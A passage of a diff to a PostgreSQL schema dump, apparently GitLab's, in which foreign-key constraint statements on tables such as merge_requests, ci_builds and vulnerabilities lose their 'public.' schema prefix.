- ADD CONSTRAINT fk_3308fe130c FOREIGN KEY (source_project_id) REFERENCES public.projects(id) ON DELETE SET NULL;
+ALTER TABLE ONLY clusters_applications_prometheus
+ ADD CONSTRAINT fk_557e773639 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_group_variables
- ADD CONSTRAINT fk_33ae4d58d8 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_metrics
+ ADD CONSTRAINT fk_56067dcb44 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.namespaces
- ADD CONSTRAINT fk_3448c97865 FOREIGN KEY (push_rule_id) REFERENCES public.push_rules(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerability_feedback
+ ADD CONSTRAINT fk_563ff1912e FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_3654b61b03 FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deploy_keys_projects
+ ADD CONSTRAINT fk_58a901ca7e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.push_event_payloads
- ADD CONSTRAINT fk_36c74129da FOREIGN KEY (event_id) REFERENCES public.events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issue_assignees
+ ADD CONSTRAINT fk_5e0c8d9154 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds
- ADD CONSTRAINT fk_3a9eaa254d FOREIGN KEY (stage_id) REFERENCES public.ci_stages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_access_tokens
+ ADD CONSTRAINT fk_5f7e8450e1 FOREIGN KEY (personal_access_token_id) REFERENCES personal_access_tokens(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_3b8c72ea56 FOREIGN KEY (sprint_id) REFERENCES public.sprints(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_6149611a04 FOREIGN KEY (assignee_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_3c1fd1cccc FOREIGN KEY (due_date_sourcing_milestone_id) REFERENCES public.milestones(id) ON DELETE SET NULL;
+ALTER TABLE ONLY events
+ ADD CONSTRAINT fk_61fbf6ca48 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipelines
- ADD CONSTRAINT fk_3d34ab2e06 FOREIGN KEY (pipeline_schedule_id) REFERENCES public.ci_pipeline_schedules(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_641731faff FOREIGN KEY (updated_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_pipeline_schedule_variables
- ADD CONSTRAINT fk_41c35fda51 FOREIGN KEY (pipeline_schedule_id) REFERENCES public.ci_pipeline_schedules(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_builds
+ ADD CONSTRAINT fk_6661f4f0e8 FOREIGN KEY (resource_group_id) REFERENCES ci_resource_groups(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_42c3b54bed FOREIGN KEY (cache_invalidation_event_id) REFERENCES public.geo_cache_invalidation_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_pages_metadata
+ ADD CONSTRAINT fk_69366a119e FOREIGN KEY (artifacts_archive_id) REFERENCES ci_job_artifacts(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.remote_mirrors
- ADD CONSTRAINT fk_43a9aa4ca8 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY application_settings
+ ADD CONSTRAINT fk_693b8795e4 FOREIGN KEY (push_rule_id) REFERENCES push_rules(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_runner_projects
- ADD CONSTRAINT fk_4478a6f1e4 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_6a5165a692 FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.todos
- ADD CONSTRAINT fk_45054f9c45 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_6ada82d42a FOREIGN KEY (container_repository_updated_event_id) REFERENCES geo_container_repository_updated_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.releases
- ADD CONSTRAINT fk_47fe2a0596 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY projects
+ ADD CONSTRAINT fk_6e5c14658a FOREIGN KEY (pool_repository_id) REFERENCES pool_repositories(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_4a99ebfd60 FOREIGN KEY (repositories_changed_event_id) REFERENCES public.geo_repositories_changed_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY terraform_state_versions
+ ADD CONSTRAINT fk_6e81384d7f FOREIGN KEY (created_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_build_trace_sections
- ADD CONSTRAINT fk_4ebe41f502 FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_branch_push_access_levels
+ ADD CONSTRAINT fk_7111b68cdb FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alert_management_alerts
- ADD CONSTRAINT fk_51ab4b6089 FOREIGN KEY (prometheus_alert_id) REFERENCES public.prometheus_alerts(id) ON DELETE CASCADE;
+ALTER TABLE ONLY services
+ ADD CONSTRAINT fk_71cce407f9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.path_locks
- ADD CONSTRAINT fk_5265c98f24 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_interacted_projects
+ ADD CONSTRAINT fk_722ceba4f7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_prometheus
- ADD CONSTRAINT fk_557e773639 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_725465b774 FOREIGN KEY (dismissed_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.merge_request_metrics
- ADD CONSTRAINT fk_56067dcb44 FOREIGN KEY (target_project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY index_statuses
+ ADD CONSTRAINT fk_74b2492545 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_feedback
- ADD CONSTRAINT fk_563ff1912e FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_76bc5f5455 FOREIGN KEY (resolved_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.deploy_keys_projects
- ADD CONSTRAINT fk_58a901ca7e FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY oauth_openid_requests
+ ADD CONSTRAINT fk_77114b3b09 FOREIGN KEY (access_grant_id) REFERENCES oauth_access_grants(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issue_assignees
- ADD CONSTRAINT fk_5e0c8d9154 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_resource_groups
+ ADD CONSTRAINT fk_774722d144 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_access_tokens
- ADD CONSTRAINT fk_5f7e8450e1 FOREIGN KEY (personal_access_token_id) REFERENCES public.personal_access_tokens(id) ON DELETE CASCADE;
+ALTER TABLE ONLY users
+ ADD CONSTRAINT fk_789cd90b35 FOREIGN KEY (accepted_term_id) REFERENCES application_setting_terms(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_6149611a04 FOREIGN KEY (assignee_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_78a6492f68 FOREIGN KEY (repository_updated_event_id) REFERENCES geo_repository_updated_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.events
- ADD CONSTRAINT fk_61fbf6ca48 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY lists
+ ADD CONSTRAINT fk_7a5553d60f FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_641731faff FOREIGN KEY (updated_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY protected_branches
+ ADD CONSTRAINT fk_7a9c6d93e7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds
- ADD CONSTRAINT fk_6661f4f0e8 FOREIGN KEY (resource_group_id) REFERENCES public.ci_resource_groups(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_7ac31eacb9 FOREIGN KEY (updated_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.application_settings
- ADD CONSTRAINT fk_693b8795e4 FOREIGN KEY (push_rule_id) REFERENCES public.push_rules(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_7c5bb22a22 FOREIGN KEY (due_date_sourcing_milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_6a5165a692 FOREIGN KEY (milestone_id) REFERENCES public.milestones(id) ON DELETE SET NULL;
+ALTER TABLE ONLY labels
+ ADD CONSTRAINT fk_7de4989a69 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_6ada82d42a FOREIGN KEY (container_repository_updated_event_id) REFERENCES public.geo_container_repository_updated_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY backup_labels
+ ADD CONSTRAINT fk_7de4989a69 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.projects
- ADD CONSTRAINT fk_6e5c14658a FOREIGN KEY (pool_repository_id) REFERENCES public.pool_repositories(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_7e85395a64 FOREIGN KEY (sprint_id) REFERENCES sprints(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_branch_push_access_levels
- ADD CONSTRAINT fk_7111b68cdb FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_metrics
+ ADD CONSTRAINT fk_7f28d925f3 FOREIGN KEY (merged_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.services
- ADD CONSTRAINT fk_71cce407f9 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY sprints
+ ADD CONSTRAINT fk_80aa8a1f95 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.user_interacted_projects
- ADD CONSTRAINT fk_722ceba4f7 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY import_export_uploads
+ ADD CONSTRAINT fk_83319d9721 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_725465b774 FOREIGN KEY (dismissed_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY push_rules
+ ADD CONSTRAINT fk_83b29894de FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.index_statuses
- ADD CONSTRAINT fk_74b2492545 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_diffs
+ ADD CONSTRAINT fk_8483f3258f FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_76bc5f5455 FOREIGN KEY (resolved_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_pipelines
+ ADD CONSTRAINT fk_86635dbd80 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.oauth_openid_requests
- ADD CONSTRAINT fk_77114b3b09 FOREIGN KEY (access_grant_id) REFERENCES public.oauth_access_grants(id) ON DELETE CASCADE;
+ALTER TABLE ONLY services
+ ADD CONSTRAINT fk_868a8e7ad6 FOREIGN KEY (inherit_from_id) REFERENCES services(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_resource_groups
- ADD CONSTRAINT fk_774722d144 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_86c84214ec FOREIGN KEY (repository_renamed_event_id) REFERENCES geo_repository_renamed_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.users
- ADD CONSTRAINT fk_789cd90b35 FOREIGN KEY (accepted_term_id) REFERENCES public.application_setting_terms(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_package_files
+ ADD CONSTRAINT fk_86f0f182f8 FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_78a6492f68 FOREIGN KEY (repository_updated_event_id) REFERENCES public.geo_repository_updated_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_builds
+ ADD CONSTRAINT fk_87f4cefcda FOREIGN KEY (upstream_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.lists
- ADD CONSTRAINT fk_7a5553d60f FOREIGN KEY (label_id) REFERENCES public.labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_88b4d546ef FOREIGN KEY (start_date_sourcing_milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.protected_branches
- ADD CONSTRAINT fk_7a9c6d93e7 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_899c8f3231 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_7ac31eacb9 FOREIGN KEY (updated_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY protected_branch_merge_access_levels
+ ADD CONSTRAINT fk_8a3072ccb3 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_7c5bb22a22 FOREIGN KEY (due_date_sourcing_milestone_id) REFERENCES public.milestones(id) ON DELETE SET NULL;
+ALTER TABLE ONLY timelogs
+ ADD CONSTRAINT fk_8d058cd571 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.labels
- ADD CONSTRAINT fk_7de4989a69 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY releases
+ ADD CONSTRAINT fk_8e4456f90f FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.backup_labels
- ADD CONSTRAINT fk_7de4989a69 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_tags
+ ADD CONSTRAINT fk_8e4af87648 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_requests
- ADD CONSTRAINT fk_7e85395a64 FOREIGN KEY (sprint_id) REFERENCES public.sprints(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipeline_schedules
+ ADD CONSTRAINT fk_8ead60fcc4 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_metrics
- ADD CONSTRAINT fk_7f28d925f3 FOREIGN KEY (merged_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY todos
+ ADD CONSTRAINT fk_91d1f47b13 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.sprints
- ADD CONSTRAINT fk_80aa8a1f95 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_feedback
+ ADD CONSTRAINT fk_94f7c8a81e FOREIGN KEY (comment_author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.import_export_uploads
- ADD CONSTRAINT fk_83319d9721 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY milestones
+ ADD CONSTRAINT fk_95650a40d4 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.push_rules
- ADD CONSTRAINT fk_83b29894de FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_959d40ad0a FOREIGN KEY (confirmed_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.merge_request_diffs
- ADD CONSTRAINT fk_8483f3258f FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY application_settings
+ ADD CONSTRAINT fk_964370041d FOREIGN KEY (usage_stats_set_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_pipelines
- ADD CONSTRAINT fk_86635dbd80 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_96b1dd429c FOREIGN KEY (milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.services
- ADD CONSTRAINT fk_868a8e7ad6 FOREIGN KEY (inherit_from_id) REFERENCES public.services(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerability_occurrences
+ ADD CONSTRAINT fk_97ffe77653 FOREIGN KEY (vulnerability_id) REFERENCES vulnerabilities(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_86c84214ec FOREIGN KEY (repository_renamed_event_id) REFERENCES public.geo_repository_renamed_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_branch_merge_access_levels
+ ADD CONSTRAINT fk_98f3d044fe FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_package_files
- ADD CONSTRAINT fk_86f0f182f8 FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY notes
+ ADD CONSTRAINT fk_99e097b079 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds
- ADD CONSTRAINT fk_87f4cefcda FOREIGN KEY (upstream_pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_event_log
+ ADD CONSTRAINT fk_9b9afb1916 FOREIGN KEY (repository_created_event_id) REFERENCES geo_repository_created_events(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_88b4d546ef FOREIGN KEY (start_date_sourcing_milestone_id) REFERENCES public.milestones(id) ON DELETE SET NULL;
+ALTER TABLE ONLY milestones
+ ADD CONSTRAINT fk_9bd0a0c791 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_899c8f3231 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_9c4516d665 FOREIGN KEY (duplicated_to_id) REFERENCES issues(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.protected_branch_merge_access_levels
- ADD CONSTRAINT fk_8a3072ccb3 FOREIGN KEY (protected_branch_id) REFERENCES public.protected_branches(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_9d480c64b2 FOREIGN KEY (start_date_sourcing_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.timelogs
- ADD CONSTRAINT fk_8d058cd571 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY alert_management_alerts
+ ADD CONSTRAINT fk_9e49e5c2b7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.releases
- ADD CONSTRAINT fk_8e4456f90f FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_pipeline_schedules
+ ADD CONSTRAINT fk_9ea99f58d2 FOREIGN KEY (owner_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.protected_tags
- ADD CONSTRAINT fk_8e4af87648 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_branch_push_access_levels
+ ADD CONSTRAINT fk_9ffc86a3d9 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipeline_schedules
- ADD CONSTRAINT fk_8ead60fcc4 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY deployment_merge_requests
+ ADD CONSTRAINT fk_a064ff4453 FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.todos
- ADD CONSTRAINT fk_91d1f47b13 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY issues
+ ADD CONSTRAINT fk_a194299be1 FOREIGN KEY (moved_to_id) REFERENCES issues(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.vulnerability_feedback
- ADD CONSTRAINT fk_94f7c8a81e FOREIGN KEY (comment_author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_builds
+ ADD CONSTRAINT fk_a2141b1522 FOREIGN KEY (auto_canceled_by_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.milestones
- ADD CONSTRAINT fk_95650a40d4 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pipelines
+ ADD CONSTRAINT fk_a23be95014 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerabilities
- ADD CONSTRAINT fk_959d40ad0a FOREIGN KEY (confirmed_by_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY users
+ ADD CONSTRAINT fk_a4b8fefe3e FOREIGN KEY (managing_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.application_settings
- ADD CONSTRAINT fk_964370041d FOREIGN KEY (usage_stats_set_by_user_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_a6963e8447 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_96b1dd429c FOREIGN KEY (milestone_id) REFERENCES public.milestones(id) ON DELETE SET NULL;
+ALTER TABLE ONLY epics
+ ADD CONSTRAINT fk_aa5798e761 FOREIGN KEY (closed_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.vulnerability_occurrences
- ADD CONSTRAINT fk_97ffe77653 FOREIGN KEY (vulnerability_id) REFERENCES public.vulnerabilities(id) ON DELETE SET NULL;
+ALTER TABLE ONLY alert_management_alerts
+ ADD CONSTRAINT fk_aad61aedca FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.protected_branch_merge_access_levels
- ADD CONSTRAINT fk_98f3d044fe FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY identities
+ ADD CONSTRAINT fk_aade90f0fc FOREIGN KEY (saml_provider_id) REFERENCES saml_providers(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.notes
- ADD CONSTRAINT fk_99e097b079 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_sources_pipelines
+ ADD CONSTRAINT fk_acd9737679 FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_event_log
- ADD CONSTRAINT fk_9b9afb1916 FOREIGN KEY (repository_created_event_id) REFERENCES public.geo_repository_created_events(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_requests
+ ADD CONSTRAINT fk_ad525e1f87 FOREIGN KEY (merge_user_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.milestones
- ADD CONSTRAINT fk_9bd0a0c791 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_variables
+ ADD CONSTRAINT fk_ada5eb64b3 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_9c4516d665 FOREIGN KEY (duplicated_to_id) REFERENCES public.issues(id) ON DELETE SET NULL;
+ALTER TABLE ONLY merge_request_metrics
+ ADD CONSTRAINT fk_ae440388cc FOREIGN KEY (latest_closed_by_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.epics
- ADD CONSTRAINT fk_9d480c64b2 FOREIGN KEY (start_date_sourcing_epic_id) REFERENCES public.epics(id) ON DELETE SET NULL;
+ALTER TABLE ONLY analytics_cycle_analytics_group_stages
+ ADD CONSTRAINT fk_analytics_cycle_analytics_group_stages_group_value_stream_id FOREIGN KEY (group_value_stream_id) REFERENCES analytics_cycle_analytics_group_value_streams(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.alert_management_alerts
- ADD CONSTRAINT fk_9e49e5c2b7 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY fork_network_members
+ ADD CONSTRAINT fk_b01280dae4 FOREIGN KEY (forked_from_project_id) REFERENCES projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_pipeline_schedules
- ADD CONSTRAINT fk_9ea99f58d2 FOREIGN KEY (owner_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerabilities
+ ADD CONSTRAINT fk_b1de915a15 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.protected_branch_push_access_levels
- ADD CONSTRAINT fk_9ffc86a3d9 FOREIGN KEY (protected_branch_id) REFERENCES public.protected_branches(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_access_tokens
+ ADD CONSTRAINT fk_b27801bfbf FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.deployment_merge_requests
- ADD CONSTRAINT fk_a064ff4453 FOREIGN KEY (environment_id) REFERENCES public.environments(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_tag_create_access_levels
+ ADD CONSTRAINT fk_b4eb82fe3c FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issues
- ADD CONSTRAINT fk_a194299be1 FOREIGN KEY (moved_to_id) REFERENCES public.issues(id) ON DELETE SET NULL;
+ALTER TABLE ONLY issue_assignees
+ ADD CONSTRAINT fk_b7d881734a FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_builds
- ADD CONSTRAINT fk_a2141b1522 FOREIGN KEY (auto_canceled_by_id) REFERENCES public.ci_pipelines(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_trigger_requests
+ ADD CONSTRAINT fk_b8ec8b7245 FOREIGN KEY (trigger_id) REFERENCES ci_triggers(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_pipelines
